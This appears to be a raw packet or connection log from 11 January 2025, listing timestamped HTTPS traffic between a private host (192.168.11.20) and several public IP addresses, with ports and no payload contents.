Jan 11, 2025 07:54:29.691560984 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.691569090 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.691654921 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.691725016 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.691725016 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.691732883 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.691819906 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.691831112 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.691871881 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.691871881 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.692004919 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.692004919 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.809593916 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.809627056 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.809822083 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.809942007 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.809974909 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.810128927 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.810129881 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.810152054 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.810264111 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.810272932 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.810323954 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.810399055 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.810466051 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.810466051 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.810491085 CET	443	58637	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.810611963 CET	58637	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.823599100 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.824225903 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.824259043 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.825129032 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.825498104 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.825633049 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.825649977 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.825726986 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:29.877954006 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:29.934251070 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:29.934295893 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:29.934456110 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.934488058 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.934494019 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:29.934523106 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:29.934587002 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.934604883 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.934609890 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:29.934652090 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:29.934845924 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.934879065 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.934916973 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.934916973 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:29.934926033 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.935108900 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:29.935147047 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:29.935209990 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.935225010 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:29.935339928 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.935357094 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:29.935388088 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.935403109 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:29.935468912 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:29.935488939 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.056236982 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.056252956 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:30.056443930 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.056546926 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.056552887 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:30.056848049 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.056873083 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.057046890 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.057152033 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.057168961 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.057235003 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.057260990 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.057367086 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.057502985 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.057518005 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.063965082 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.064001083 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.064007044 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.064110994 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.064192057 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.064204931 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.064213037 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.064223051 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.064265013 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.064379930 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.064423084 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.181570053 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.181679010 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.181725979 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.181802988 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.182037115 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.182156086 CET	52413	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.182172060 CET	443	52413	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.187912941 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.188030005 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.188195944 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.188220024 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.188285112 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.188301086 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.188601971 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:30.188977957 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:30.189007044 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:30.190220118 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.190227985 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.190465927 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.190465927 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.190886021 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:30.191097975 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:30.191559076 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.191648006 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.191662073 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.191764116 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.191849947 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.191907883 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.191917896 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.192033052 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.192220926 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:30.192373037 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:30.194354057 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.194642067 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.194658995 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.195667028 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.195955992 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.195980072 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.197530031 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.197735071 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.198431969 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.198780060 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.198968887 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.199137926 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.199147940 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.199959993 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.200046062 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.200058937 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.200136900 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.235626936 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.235626936 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.235629082 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:30.235651016 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.235661030 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.235667944 CET	443	59765	3.167.152.61	192.168.11.20
Jan 11, 2025 07:54:30.242271900 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.250567913 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.250592947 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.250598907 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.250616074 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.281585932 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.281586885 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.281722069 CET	59765	443	192.168.11.20	3.167.152.61
Jan 11, 2025 07:54:30.296489954 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.296499014 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.299463987 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.299815893 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.299837112 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.301194906 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.301372051 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.301671028 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.301817894 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.343316078 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.343353033 CET	443	52371	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.386137962 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.386178970 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.386322021 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.386322021 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.386370897 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.386409044 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.386430979 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.386539936 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.386590004 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.386667967 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.386713982 CET	443	51548	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.386862040 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.386920929 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.386971951 CET	443	52387	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.387017012 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.387061119 CET	443	59134	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.387125015 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.387200117 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.387243032 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.387265921 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.387912989 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.387949944 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.387969971 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.387984991 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.388226032 CET	51548	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.388278008 CET	443	51548	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.388297081 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.388331890 CET	443	59134	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.388519049 CET	52387	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.388557911 CET	443	52387	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.390191078 CET	52371	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.425024986 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.425079107 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.425086975 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.425158024 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.425172091 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.425194979 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.425268888 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.425306082 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.425331116 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.425587893 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.426140070 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.426182985 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.426189899 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.426275015 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.426291943 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.426301956 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.426337957 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.426389933 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.426486015 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.426548958 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.435424089 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.435489893 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.435502052 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.435563087 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.435581923 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.435638905 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.435642004 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.435642004 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.435712099 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.435767889 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.435767889 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.435894012 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.435964108 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:30.436465979 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.436502934 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:30.439171076 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.439488888 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.439523935 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.439852953 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:30.440054893 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.441073895 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.441333055 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:30.442446947 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.442492962 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.442501068 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.442609072 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.442625046 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.442651987 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.442662001 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.442662001 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.442775011 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.442794085 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.442888975 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.443018913 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.443147898 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.444408894 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.444679976 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.482059002 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.482096910 CET	443	51731	20.125.209.212	192.168.11.20
Jan 11, 2025 07:54:30.496964931 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.497001886 CET	443	61267	204.79.197.203	192.168.11.20
Jan 11, 2025 07:54:30.528897047 CET	51731	443	192.168.11.20	20.125.209.212
Jan 11, 2025 07:54:30.543807030 CET	61267	443	192.168.11.20	204.79.197.203
Jan 11, 2025 07:54:30.556691885 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.556710005 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.556766033 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.556895018 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.556950092 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.556977034 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.557069063 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.557209969 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.558065891 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.558085918 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.558165073 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.558317900 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.558366060 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.558460951 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.558562040 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.566906929 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.566948891 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.567120075 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.567120075 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.567120075 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.567167044 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.567189932 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.567265034 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.567356110 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.573978901 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.574100971 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.574172020 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.574201107 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.574201107 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.574232101 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.574338913 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.574389935 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.590035915 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.590157986 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.590303898 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.590482950 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.590522051 CET	443	52865	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.590841055 CET	52865	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.591748953 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.591804028 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.591959000 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.592093945 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.592109919 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.592444897 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.592888117 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.592926025 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.593096018 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.593152046 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.593190908 CET	443	62304	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.593216896 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.593429089 CET	62304	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.596892118 CET	443	61052	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.607800007 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.607841969 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.608010054 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.608010054 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.608050108 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.608082056 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.608082056 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.608082056 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.608100891 CET	443	52161	23.45.46.202	192.168.11.20
Jan 11, 2025 07:54:30.608304024 CET	52161	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.650572062 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.650940895 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.650976896 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.651065111 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.651343107 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.651371956 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.651384115 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.651495934 CET	61052	443	192.168.11.20	23.45.46.202
Jan 11, 2025 07:54:30.651541948 CET	443	59134	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.651638985 CET	60058	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.651668072 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.651820898 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.651845932 CET	443	59134	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.654165983 CET	443	63457	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.654345036 CET	63457	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.654411077 CET	443	53873	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.654618979 CET	53873	443	192.168.11.20	9.9.9.9
Jan 11, 2025 07:54:30.654668093 CET	443	59134	162.159.61.3	192.168.11.20
Jan 11, 2025 07:54:30.654937029 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.655874968 CET	443	60058	9.9.9.9	192.168.11.20
Jan 11, 2025 07:54:30.655982018 CET	59134	443	192.168.11.20	162.159.61.3
Jan 11, 2025 07:54:30.656019926 CET	59134	443	192.168.11.20	162.159.61.3
